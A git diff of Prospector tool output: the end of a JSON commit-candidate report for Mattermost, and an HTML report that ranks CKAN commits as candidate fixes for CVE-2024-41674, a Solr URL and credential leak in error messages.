"0227ac0fc19173b520aa74febcf53715c29d4393", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721062397, + "hunks": 4, + "message": "MM-59404 Stop automatically dismissing desktop notifications (#27627)", + "changed_files": [ + "webapp/channels/src/utils/constants.tsx", + "webapp/channels/src/utils/notifications.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27627": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27627", + "relevance": 2 + } + ] + }, + { + "commit_id": "a4bdb65037a9135b5ec6a95d8718a5f21cf4eb9c", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720859493, + "hunks": 2, + "message": "[MM-55215] Remove deprecated LdapSettings.Trace (#27376)", + "changed_files": [ + "server/public/model/config.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27376": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27376", + "relevance": 2 + } + ] + }, + { + "commit_id": "9bb22a369a57ce8633f1ab4689f2dafc59a09fcb", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720814362, + "hunks": 7, + "message": "MM-54856: Place emoji at cursor position while editing message (#27418) * MM-54856: fix issue with emoji position in edit post editor * use useRef instead of useState --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "webapp/channels/src/components/edit_post/edit_post.tsx", + "webapp/channels/src/components/suggestion/suggestion_box/suggestion_box.jsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27418": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27418", + "relevance": 2 + } + ] + }, + { + "commit_id": "7434b524afb935118bec506929612b3af67841c9", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720794799, + "hunks": 3, + "message": "[MM-56655] Remove deprecated Config.ProductSettings (#27375)", + "changed_files": [ + "server/public/model/config.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27375": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27375", + "relevance": 2 + } + ] + }, + { + "commit_id": "22604d45921dea97939c358a9d18878167a0fa2a", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720762496, + "hunks": 9, + "message": "[fix] ci container image scanning (#27631) Fixup on https://github.com/mattermost/mattermost/pull/27624 Exposing the tag variable to be used in the scanning step. Ticket: https://mattermost.atlassian.net/browse/CLD-8041 Signed-off-by: Akis Maziotis ", + "changed_files": [ + ".github/workflows/server-ci-artifacts.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27631": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27631", + "relevance": 2 + } + ] + }, + { + "commit_id": "6010ff55218e97c1d7c44c4f90a59d9f2320305f", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720530893, + "hunks": 2, + "message": "Remove dup stylelint depdendencies in webapp/channels (#27499)", + "changed_files": [ + "webapp/channels/package.json", + "webapp/package-lock.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27499": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27499", + "relevance": 2 + } + ] + }, + { + "commit_id": "d939c1bd464780d7be4912510e25f9791d3b3aae", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720457455, + "hunks": 7, + "message": "[MM-58856] Migrate tooltips of \"components/copy_button.tsx\" to WithTooltip (#27433)", + "changed_files": [ + "webapp/channels/src/components/copy_button.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27433": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27433", + "relevance": 2 + } + ] + }, + { + "commit_id": "35dda81e32b48d5317eb7b6aa6272b5d4b08d4a9", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720031195, + "hunks": 27, + "message": "Translations update from Mattermost Weblate (#27507) * Translated using Weblate (German) Currently translated at 100.0% (2510 of 2510 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/de/ * Translated using Weblate (German) Currently translated at 100.0% (5775 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/de/ * Translated using Weblate (Polish) Currently translated at 100.0% (2510 of 2510 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/pl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5775 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Dutch) Currently translated at 99.9% (5771 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nl/ * Translated using Weblate (Serbian) Currently translated at 10.5% (611 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/sr/ * Translated using Weblate (Norwegian Bokm\u00c3\u00a5l) Currently translated at 6.3% (369 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nb_NO/ * Translated using Weblate (German) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/de/ --------- Co-authored-by: jprusch Co-authored-by: master7 Co-authored-by: Tom De Moor Co-authored-by: homerCOD Co-authored-by: Frank Paul Silye ", + "changed_files": [ + "server/i18n/de.json", + "server/i18n/pl.json", + "webapp/channels/src/i18n/de.json", + "webapp/channels/src/i18n/nb-NO.json", + "webapp/channels/src/i18n/nl.json", + "webapp/channels/src/i18n/pl.json", + "webapp/channels/src/i18n/sr.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27507": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27507", + "relevance": 2 + } + ] + }, + { + "commit_id": "5231f780b46090818a42a21c04cdf41dc072e7ec", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720013271, + "hunks": 1, + "message": "removed offending line that hid threads view on mobile (#27428) (#27528) Automatic Merge", + "changed_files": [ + "webapp/channels/src/components/threading/global_threads/global_threads.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27428": "Automated cherry pick of #27428 #27485 Automated cherry pick of #27428 #27528", + "27528": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.9.2", + "v9.9.2-rc1", + "v9.9.2-rc2", + "v9.9.3", + "v9.9.3-rc1" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27428, 27528", + "relevance": 2 + } + ] + }, + { + "commit_id": "1f9c9486b882f8d2f7424a821e27ac30bee36098", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719925703, + "hunks": 3, + "message": "fix panic in migrations (#27494)", + "changed_files": [ + "server/channels/app/migrations.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27494": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27494", + "relevance": 2 + } + ] + }, + { + "commit_id": "6bfd309573e64e710b4b7175b84149303c517909", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719838009, + "hunks": 3, + "message": "chore: update package metadata for API reference (#27462)", + "changed_files": [ + "api/package.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27462": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.5", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27462", + "relevance": 2 + } + ] + }, + { + "commit_id": "3b6608220b8105e0129eb596118ebdfafc3e49ec", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720831749, + "hunks": 7, + "message": "Make some changes to remove findDOMNode from React Bootstrap", + "changed_files": [ + "webapp/channels/src/plugins/channel_header_plug/channel_header_plug.tsx", + "webapp/platform/components/src/generic_modal/generic_modal.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "1ebad56255577a996cb852543baaaa3e6e3d06e9", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720821898, + "hunks": 2, + "message": "Switch ReactDOM.render to createRoot", + "changed_files": [ + "webapp/channels/src/entry.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "b9fc83b5038c1a4fe817aac8140e63ac9f3d3b13", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720820664, + "hunks": 88, + "message": "Disable legacy-peer-deps and manually override mismatched dependencies", + "changed_files": [ + "webapp/.npmrc", + "webapp/package-lock.json", + "webapp/package.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "92e960ae63b82131c509c69fe5d40be4c709a871", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720802579, + "hunks": 0, + "message": "Merge remote-tracking branch 'upstream/master' into MM-56077", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "139e63a77a189e0217682e99628c931d4bc54a42", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720421551, + "hunks": 0, + "message": "Merge branch 'master' into MM-56073", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "a1fd7bc1566e55a5a072b118ee8e7cfe90aeb630", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720202656, + "hunks": 0, + "message": "Merge branch 'master' into poc-actions-rpc", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "4473e25d7a1486678826002ba4c0aa8cd35d0487", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720197391, + "hunks": 1, + "message": "fix config type", + "changed_files": [ + "webapp/platform/types/src/config.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "c8d112111fa9034765337d237343b46bb056dece", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720196896, + "hunks": 1, + "message": "do not remove post message content for websocket events, needed for mentions", + "changed_files": [ + "server/channels/app/post.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "af663753a3b18bb6d63b863048d7a22f7413c5e5", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720038634, + "hunks": 4, + "message": "i18n", + "changed_files": [ + "server/i18n/en.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "193d8802038fc42eba007ec78657207ba28010f6", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720035277, + "hunks": 0, + "message": "Merge branch 'MM-56073' of github.com:BenCookie95/mattermost-server into MM-56073", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "3a49edd6038985fdf3f521faeb66556938e6f5cc", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720017392, + "hunks": 0, + "message": "Merge branch 'master' into MM-56073", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "cada18f5bac07705cce9845b1758e46cfe0a6ad2", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719948144, + "hunks": 6, + "message": "Example of logging client performance events above threshold", + "changed_files": [ + "server/channels/app/metrics.go", + "server/public/model/config.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "7d2a99936cd77a63474b2171c299a42b878398ad", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719896439, + "hunks": 1, + "message": "Updaetd user report API permission", + "changed_files": [ + "server/channels/api4/report.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + } + ], + "processing_statistics": { + "core": { + "retrieval of commit candidates": { + "execution time": [ + 0.07240202277898788 + ] + }, + "git": { + "git": { + "Git": { + "create_commits": { + "execution time": [ + 0.07216375321149826 + ] + } + } + } + }, + "candidates": 164, + "commit preprocessing": { + "execution time": [ + 0.303417032584548 + ] + }, + "candidates analysis": { + "execution time": [ + 4.63709269836545 + ] + }, + "save commits to backend": { + "execution time": [ + 0.038952555507421494 + ] + }, + "execution time": [ + 7.246814403682947 + ] + }, + "rules": { + "active": [ + 17 + ], + "matches": [ + 396 + ] + }, + "LLM": { + "repository_url": { + "execution time": [ + 1.651252444833517 + ] + }, + "commit_classification": { + "execution time": [ + 0.017525456845760345, + 0.01645040325820446, + 0.015178922563791275, + 0.015100793913006783, + 0.019747842103242874, + 1.275328889489174, + 0.017046356573700905, + 1.211672943085432, + 1.7592217586934566, + 0.017519433051347733 + ] + } + } + } +} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html b/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html new file mode 100644 index 000000000..c036e120a --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-41674_c20f61cc-bfe0-46b2-9ea8-514f2c20e33c.html @@ -0,0 +1,9552 @@ + + + + + + + + + + + + + + + + Prospector Report + + + + +
    +
    +
    + + +

    Filters

    +

    + Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. +

    + +
    +
    + +
    +
    + +
    +
    + + + + +
    +

    Advisory Record

    + CVE-2024-41674
    +

    CKAN is an open-source data management system for powering data hubs and data portals. If there were connection issues with the Solr server, the internal Solr URL (potentially including credentials) could be leaked to package_search calls as part of the returned error message. This has been patched in CKAN 2.10.5 and 2.11.0.

    + + +
    Possible relevant files/methods
    +

    +

      + +
    • CKAN
    • + +
    • open-source
    • + +
    • package_search
    • + +
    • URL
    • + +
    +

    + + +
    Other relevant keywords
    +

    + +

  • call
  • + + +
  • ckan
  • + + +
  • connection
  • + + +
  • credential
  • + + +
  • datum
  • + + +
  • error
  • + + +
  • include
  • + + +
  • issue
  • + + +
  • leak
  • + + +
  • management
  • + + +
  • message
  • + + +
  • part
  • + + +
  • patch
  • + + +
  • portal
  • + + +
  • power
  • + + +
  • return
  • + + +
  • server
  • + + +
  • solr
  • + + +
  • source
  • + + +
  • system
  • + + +

    + +
    + + + +
    +
    +
    Execution Statistics
    + +
    +
    +
    • core
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.01472 seconds
      • commit preprocessing
        • execution time = 0.6004 seconds
      • candidates analysis
        • execution time = 0.8201 seconds
      • save commits to backend
        • execution time = 1.263 seconds
      • execution time = 4.9 seconds
    • rules
      • active = 17 rules
      • matches = 96 matches
    • LLM
      • repository_url
        • execution time = 1.453 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.06723391003906727 seconds
          • deviation = 0.1267276186340999 seconds
          • median = 0.01646522618830204 seconds
          • count = 10
          • sum = 0.6723391003906727 seconds
    +
    +
    + +
    + +
    +
    +
    +
    +

    Prospector Report

    +
    + + +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge commit from fork [2.10] Fix for Solr connection errors leaking details + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 100 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + COMMIT_IN_REFERENCE + + ADV_KEYWORDS_IN_MSG + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + f6b032cd7082d784938165bbd113557639002ca7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit is mentioned 2 times in the references.
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: solr, leak, connection, error
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge commit from fork [2.10] Fix for Solr connection errors leaking details
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + ensure consistency by returning email addresses in lowercase from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 44 +
    + +
    +
    +
    + + Tag: ckan-2.11.0 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_MSG + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5b73f29da75bda0a4426d1ff7ba39491892ba07b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: URL
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: return
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      ensure consistency by returning email addresses in lowercase from the email_validator
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/logic/action/create.py + + ckan/logic/validators.py + + ckan/tests/logic/test_validators.py + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fix resource proxy download proxy setting Don't pass a dict with... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 42 +
    + +
    +
    +
    + + Tag: ckan-2.10.5 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 50cb4433508cb63b6e13d1660da1bfe4caa80cfa +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: source, connection, error
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: source
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Fix resource proxy download proxy setting Don't pass a dict with None values if not set, otherwise we get an error from urllib3 ``` Max retries exceeded with url: http://maps.nlsc.gov.tw/S_Maps/wmts (Caused by ProxyError('Unable to connect to proxy', NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7f3ea84c73a0>: Failed to resolve 'none' ([Errno -3] Temporary failure in name resolution)"))) ``` (cherry picked from commit c6afef0e16e7ed4bf5eee48e25b1f260459e374c)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckanext/resourceproxy/blueprint.py + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + feat: upgrade SQLAlchemy to v2 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6c40a56477d3cd7a6b62d4bf53cf7cfe0aafb3e1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: package_search
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: source
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      feat: upgrade SQLAlchemy to v2
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/config/environment.py + + ckan/lib/dictization/__init__.py + + ckan/lib/dictization/model_dictize.py + + ckan/logic/__init__.py + + ckan/logic/action/get.py + + ckan/logic/action/update.py + + ckan/logic/validators.py + + ckan/model/__init__.py + + ckan/model/api_token.py + + ckan/model/dashboard.py + + ckan/model/follower.py + + ckan/model/group.py + + ckan/model/meta.py + + ckan/model/package.py + + ckan/model/resource_view.py + + ckan/model/tag.py + + ckan/model/types.py + + ckan/model/user.py + + ckan/types/logic/action_result.py + + ckan/types/model.py + + ckan/views/api.py + + ckanext/activity/logic/action.py + + ckanext/activity/logic/auth.py + + ckanext/activity/model/activity.py + + ckanext/datastore/backend/postgres.py + + ckanext/stats/stats.py + + requirements.in + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18n] Pull translations from transifex + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + c4e6b4e2ee645d30d4d18a228c5f90e213dd66c4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: URL, open-source
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: message
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18n] Pull translations from transifex
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ckan/i18n/am/LC_MESSAGES/ckan.po + + ckan/i18n/ar/LC_MESSAGES/ckan.po + + ckan/i18n/bg/LC_MESSAGES/ckan.po + + ckan/i18n/bs/LC_MESSAGES/ckan.po + + ckan/i18n/ca/LC_MESSAGES/ckan.po + + ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po + + ckan/i18n/da_DK/LC_MESSAGES/ckan.po + + ckan/i18n/de/LC_MESSAGES/ckan.po + + ckan/i18n/el/LC_MESSAGES/ckan.po + + ckan/i18n/en_AU/LC_MESSAGES/ckan.po + + ckan/i18n/en_GB/LC_MESSAGES/ckan.po + + ckan/i18n/es/LC_MESSAGES/ckan.po + + ckan/i18n/es_AR/LC_MESSAGES/ckan.po + + ckan/i18n/eu/LC_MESSAGES/ckan.po + + ckan/i18n/fa_IR/LC_MESSAGES/ckan.po + + ckan/i18n/fi/LC_MESSAGES/ckan.po + + ckan/i18n/fr/LC_MESSAGES/ckan.po + + ckan/i18n/gl/LC_MESSAGES/ckan.po + + ckan/i18n/gl_ES/LC_MESSAGES/ckan.po + + ckan/i18n/he/LC_MESSAGES/ckan.po + + ckan/i18n/hr/LC_MESSAGES/ckan.po + + ckan/i18n/hu/LC_MESSAGES/ckan.po + + ckan/i18n/id/LC_MESSAGES/ckan.po + + ckan/i18n/is/LC_MESSAGES/ckan.po + + ckan/i18n/it/LC_MESSAGES/ckan.po + + ckan/i18n/ja/LC_MESSAGES/ckan.po + + ckan/i18n/km/LC_MESSAGES/ckan.po + + ckan/i18n/ko_KR/LC_MESSAGES/ckan.po + + ckan/i18n/lt/LC_MESSAGES/ckan.po + + ckan/i18n/lv/LC_MESSAGES/ckan.po + + ckan/i18n/mk/LC_MESSAGES/ckan.po + + ckan/i18n/mn_MN/LC_MESSAGES/ckan.po + + ckan/i18n/my_MM/LC_MESSAGES/ckan.po + + ckan/i18n/nb_NO/LC_MESSAGES/ckan.po + + ckan/i18n/ne/LC_MESSAGES/ckan.po + + ckan/i18n/nl/LC_MESSAGES/ckan.po + + ckan/i18n/no/LC_MESSAGES/ckan.po + + ckan/i18n/pl/LC_MESSAGES/ckan.po + + ckan/i18n/pt_BR/LC_MESSAGES/ckan.po + + ckan/i18n/pt_PT/LC_MESSAGES/ckan.po + + ckan/i18n/ro/LC_MESSAGES/ckan.po + + ckan/i18n/ru/LC_MESSAGES/ckan.po + + ckan/i18n/sk/LC_MESSAGES/ckan.po + + ckan/i18n/sl/LC_MESSAGES/ckan.po + + ckan/i18n/sq/LC_MESSAGES/ckan.po + + ckan/i18n/sr/LC_MESSAGES/ckan.po + + ckan/i18n/sr_Latn/LC_MESSAGES/ckan.po + + ckan/i18n/sv/LC_MESSAGES/ckan.po + + ckan/i18n/th/LC_MESSAGES/ckan.po + + ckan/i18n/tr/LC_MESSAGES/ckan.po + + ckan/i18n/uk_UA/LC_MESSAGES/ckan.po + + ckan/i18n/vi/LC_MESSAGES/ckan.po + + ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po + + ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [i18n] Add new strings from the pot file to po files + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6382ad97f98dbbbbfbaf30b7dab9520ace071131 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: URL, open-source
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: message
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [i18n] Add new strings from the pot file to po files
      +
    • +
    + +
    Changed files in commit
    + +
      +
